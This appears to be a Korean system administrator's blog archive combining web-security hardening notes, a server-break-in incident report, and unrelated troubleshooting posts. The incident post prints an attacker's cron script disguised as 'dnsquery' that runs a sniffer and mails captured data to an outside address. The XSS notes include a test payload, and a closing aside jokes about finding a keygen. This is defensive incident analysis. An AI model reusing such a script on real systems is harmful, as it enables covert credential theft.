사이트 상에서 사용자의 입력을 받는 모든 페이지에 XSS 공격이 가능. header, cookie, query, form 등에 대해 유효성 검사를 실시하고 사용자 입력 값에 대한 검증을 강화하여 방어. burp suite 등의 proxy 툴을 이용하여 변조 테스트 가능.
일반적으로 사용자가 form 필드에 <script>alert("XSS Attack");</script> 를 입력했을 때, 의도한대로 alert 창이 띄워진다면 XSS 공격에 취약하다고 볼 수 있음.
사용자 입력 필드 또는 검색어 필드에서 입력된 값에 HTML Entity 변환 및 16진수 변환등으로 코드 실행 방지와 black keyword 추가
htmlentities( a, ENT_QUOTES ) 혹은 replace( a, "<", "<" ) 사용.
2. DB 접근제한 조치
DB 외부 오픈 제한(ACL등), mysql 기본포트 변경 (3306->13306 등...)
대응책
# vi /etc/my.cnf [mysqld] port=13306
3. Hash DoS 공격에 대한 취약점 확인
PHP 버전이 낮아서 Hash DoS 공격의 가능성이 있다. 수정된 버전(PHP 5.4.0 RC 이상, PHP 5.3.9이상)을 사용할 것을 권고 max_input_vars 설정으로 파라미터의 수를 제한
PHP 보안 모듈(suhosin) 사용 (아래의 설정은 최대 파라미터 개수를 500개로 제한한 예시) suhosin.post.max_value_lenth = 1000000 suhosin.post.max_vars = 500 suhosin.request.max_vars = 500
기존PHP버전 (완벽한 해결이 아닌 공격을 약화시키는 방법)
php.ini 설정값 변경 (아래의 값을 변경하여 공격을 완화할 수 있다. 수치는 default임 ) max_input_time = 60 (요청 데이터를 파싱하는데 걸리는 최대 시간) post_max_size = 8M (POST 사이즈 제한) => 파일이 업로드 되는 서비스는 POST 사이즈가 크므로 post_max_size로 적용하기는 어렵고, max_input_time 만 설정해 볼 수 있다.
Mar 12 01:20:01 xxxx crond[21145]: User not known to the underlying authentication module
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: failed to open PAM security session: Success
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: cannot set security context
...
잉... 이건 뭐... 한참을 스크롤해 내려가는데,
Deleted Users:
test
cactiuser
bin
Deleted Groups:
test
Removed From Group:
user cactiuser from group cacti
user cactiuser from group cacti
user bin from group bin
user bin from group daemon
user bin from group sys
user bin from group bin
user bin from group daemon
user bin from group sys
컥... 당황한 나는 서버에 접속하여 su 권한으로 .bash_history 를 열어봅니다.
# vi .bash_history
/root/.bash_history: Permission denied
컥;;;
# ls -al
drwxr-x--- 7 0 root 4096 3월 12 01:31 .
drwxr-xr-x 24 0 root 4096 3월 8 12:57 ..
-rw------- 1 0 root 15436 3월 9 12:53 .bash_history
-rw-r--r-- 1 0 root 24 1월 6 2007 .bash_logout
-rw-r--r-- 1 0 root 307 1월 30 10:48 .bash_profile
-rw-r--r-- 1 0 root 176 1월 6 2007 .bashrc
root 사용자 자리에 0...
서버의 모든 root 소유 파일과 디렉토리는 저 모양으로 바뀌었고, root 로는 아무것도 할 수가 없었습니다.
그나마 다행은 다른 계정들은 무사.
log들 확인하려 했더니 삭제되고 없고 ( messages, maillog, boot.log )
secure 에서 찾은 이미 확인한 로그...
Mar 12 01:16:43 xxxx userdel[21122]: delete user `test'
Mar 12 01:16:43 xxxx userdel[21122]: removed group `test' owned by `test'
Mar 12 01:16:48 xxxx userdel[21127]: delete user `cactiuser'
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from group `cacti'
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from shadow group `cacti'
Mar 12 01:29:56 xxxx userdel[28380]: delete user `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `daemon'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `sys'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `daemon'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `sys'
일단 root 계정 확인해보고
# id root
uid=4294967295(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
뭔가 저 uid는...
# vi /etc/passwd
root:x:-1:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
bin 은 삭제되서 온데간데 없고, root 는 uid 가 -1...
하지만 권한이 없어서 수정할 수가 없습니다. ㅠ
2. 해결
sudo 권한을 가진 일반 계정으로 접속하여, passwd 파일 접근 후 root uid 수정.
$ sudo vi /etc/passwd
root:x:-1:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
다행히 수정이 되었습니다ㅠ
bin(1) cactiuser 도 새로 생성하고 그룹지정을 잘 해줬습니다.
iptables 설정 후 syslogd 재부팅하고 나서 때마침 root로 날아온 메일.
/etc/cron.daily/0logwatch:
Who are you? /etc/cron.daily/dnsquery:
./popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
mkdir: cannot create directory `/usr/share/misc/': File exists
mkdir: cannot create directory `/usr/share/misc/blah/': File exists
Who are you?
popauth: no process killed
popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
/etc/cron.daily/logrotate:
error: stat of /var/log/messages failed: No such file or directory
error: stat of /var/log/maillog failed: No such file or directory
error: stat of /var/log/boot.log failed: No such file or directory
--q2CNvx1S006556.1331596695/xxxx--
머냐 이건; 이 메일 안왔으면 어쩔뻔했냐...
# ls -al /etc/cron.daily/dnsquery
-rwxr-xr-x 1 1000 users 346 4월 15 2012 dnsquery
어이구, 이분은 미래에서 오셨구만...
# vi /etc/cron.daily/dnsquery
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
mkdir /usr/share/misc/
mkdir /usr/share/misc/blah/
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail ov1del@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
저 메일 주인분이 범인...
# find / -group users -exec ls -al {} \;
-rwxr-xr-x 1 1000 users 388262 4월 15 2012 /usr/lib/popauth
-rwxr-xr-x 1 1000 users 1092 4월 15 2012 /usr/local/lib/dsniff.services
-rw-r--r-- 1 1000 users 2824 12월 5 2010 /usr/local/src/cacti-0.8.7i-PIA-3.1/...
users 그룹의 파일들을 찾아보니
저분이 만들어 놓은 파일들과 cacti 의 압축 풀었던 디렉토리가 1000:users 인 것을 확인하고 바로 디렉토리 삭제;
3. 마무리
어떻게 뚫린건지는 모르겠습니다. 사실 뚫릴거라고 생각하고 있던 서버중에 하나이기도 합니다.
일단 의심스러운 파일들은 모조리 삭제했지만, iptables 미설정 때문이라면 오히려 속편하겠습니다.
iptables 설정 후에도 이와 같은 해킹이 일어난다면 난 더이상 할 수 있는게 없습니다 ㅠ
# /etc/init.d/httpd start
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs [실패]
# /etc/init.d/httpd start
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs [실패]
정말 미쳐버리는 줄 알았다.
두 대의 서버에 똑같이 redmine 을 설치했는데 재미진 결과가 나왔다.
WEBrick 3000번 포트로 접속하면 둘 다 잘 되는데, Passenger 설치후 80번 포트로 접속하면
한대가 모든 POST 요청을 처리 못하고 500 오류를 뱉어버리는... 로그인 안되고 등록 안되고 단지 html 페이지만 보이고
아~ 이건 무슨...
설치는 버전별로 10번은 넘게 했고, 시간나는대로 Googling 을 시작했다.
3일동안 한 100개의 키워드는 검색한 것 같다. 중복도 분명 많았을 것이고, 설마하는 것까지 죄다 의심했다.
redmine, 500, rails, passenger, ruby, post, centos, apache, virtualhost, public, permission, log, production, development, 3000, 80, script/server, collision, yum install...
지금 기억나는건 저 정도지만 할 수 있는 조합은 다 해봤고, 결국 3일만에 정말 지나가듯 써있던 댓글 한줄.
didn't work with SVN 1.7...
엥, 설마... svn은 연동도 안했는데??
역시나 이상 작동하던 서버에는 svn 1.7이 떡하니 있었고, 웹서버에서 설정파일 주석시켜 버렸더니 잘된다...
redmine svn1.7로 검색하니 참으로 많은 페이지들이 나오는구나.
어떻게 성의없이 500 에러 하나 달랑 놓고 사람을 이렇게 비참하게 만드는건가.
간만에 정말 제대로 된 삽질이다.
웹서비스에서 Email 발송은 필수 입니다.
하지만 Email 을 원하는대로 발송하기는 정말 어렵습니다.
Naver, Nate, Daum, Gmail, Yahoo 그 외에도 기업메일 등 모두에게 잘 발송하고 싶지만 뜻대로 되지 않습니다.
Naver 는 리턴되고 Nate 는 잘가고 Gmail 은 스팸으로 들어가고...
여기는 html 양식이 통하고 저기는 안통하고... 이런식은 정말 곤란한데...
일단 메일 로그를 확인해 봅니다.
# vi /var/log/maillog
...stat=Sent
...stat=Data format error ...stat=Service unavailable
Sent 를 제외하고는 모두 발송실패.
로그만으로 추측할 수 있는 건 @localhost.localdomain
도메인 지정이 제대로 안되어서, 수신측 서버에서 반사를 한 듯...
이번엔 root 계정으로 돌아온 리턴 메일을 보니... block 당한 곳도 있지만 역시 @localhost.localdomain 이 문제인 듯..
...
(reason: 550 OU-001 (BAY0-MC1-F39) Unfortunately, messages from 123.123.123.123 weren't sent.
Please contact ...ock list. You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors.)
...
(reason: 553 5.1.7 MADDR 123.123.123.123: Invalid mail address: <apache@localhost.localdomain>)
...
저 localhost.localdomain 은 sendmail.cf 에서 설정하는건가... 했는데 hostname 하나 변경하니까 잘 됩니다;
# hostname mydomain.com
# /etc/sysconfig/network
HOSTNAME=mydomain.com
# /etc/hosts
123.123.123.123 mydomain.com
# vi /etc/mail/local-host-names
mydomain.com
서버 설치하고 기본 세팅을 안해서 삽질을 유도하는 일은 정말 아니아니 아니되오~
어쨌든, 난 메일이 정말 싫습니다.
Anyway, I really hate the E-mail.
IDC에 보관중인 웹서버를 옮길 때 준비해야 할 것은 무엇이 있을까.
가장 걱정은 DNS ㅜㅡ 네임서버 변경 후에 과연 얼마나 오랜시간 후에 서비스가 가능할지...
서버 이전하는 동안 서버 점검 중이라는 웹페이지를 띄울 수 있는 임시 서버가 필요할 것이고,
서버 이전을 완료하고 재가동 시켰을 때 바로 원격 접속 가능하도록 IP 바꿔놓고
ssh/웹/DB 등 중요 데몬들 부팅시 가동되는지 확인하고,
오픈전 내부 테스트 작업 가능하도록 사내 IP 제외한 모든 접속자는 '서버 점검 중' 페이지로...
IDC 변경 전
1. 서버 IP 변경
- 이전할 IDC에 문의하여 변경될 IP 주소로 변경.
- network 데몬 재시작 전에는 적용되지 않으니 안심하고 변경.
# vi /etc/sysconfig/network-scripts/ifcfg-eth0
IPADDR=111.111.111.111
NETMASK=255.255.255.255
GATEWAY=111.111.111.1
여러 단어가 공백없이 합쳐진 합성어에서 각 단어의 첫글자를 대문자로 작성한 것을 PascalCase 라고 합니다.
PascalCase 에서 첫 글자를 대문자가 아닌 소문자로 쓰는 것이 camelCase 입니다.
McLean, DeJong 등 이름의 성(姓)에서 사용되었고, 회사나 상품등에도 많이 사용합니다.
McDonald's, PlayStation, QuickTime, iPad...
컴퓨터 프로그래머들이 언어의 가독성을 높이기 위해 사용하는 방법 중 하나입니다.
와이어프레임 중에 아주 깔끔한 툴을 발견했습니다. balsamiq mockups. (스샷참고) Air 기반의 설치형 어플리케이션이고 $79의 비용을 지불해야지만 자유롭게 사용할 수 있답니다. 아니면 제품소개 / 리뷰를 포스팅하고 메일로 링크 주소를 알려주면 확인 후 메일로 무료 라이센스를 보내주기도 하네요. 그것도 기다리기가 싫다면 누구처럼 구글에서 키젠을 검색하면........ 안되겠지요? ^^;